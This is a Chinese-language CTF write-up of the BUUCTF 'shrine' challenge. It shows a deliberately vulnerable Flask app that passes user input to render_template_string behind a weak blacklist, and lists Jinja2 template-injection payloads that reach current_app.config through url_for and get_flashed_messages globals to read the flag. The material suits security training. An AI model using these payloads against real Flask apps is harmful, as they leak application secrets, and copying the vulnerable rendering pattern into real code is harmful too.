BUUCTF-WEB 【WesternCTF2018】shrine 1

SSTI注入题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
# Python replace() 方法把字符串中的 old(旧字符串) 替换成 new(新字符串),如果指定第三个参数max,则替换不超过 max 次。
# 将( 和 ) 替换成 ''
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
# render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

# payload
# "".__class__
# {config['FLAG']}}
# {{config.FLAG}}
# {{url_for.__globals__['current_app'].config.FLAG}}
# {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
# {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

可用payload

1
{{url_for.__globals__['current_app'].config.FLAG}}
1
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}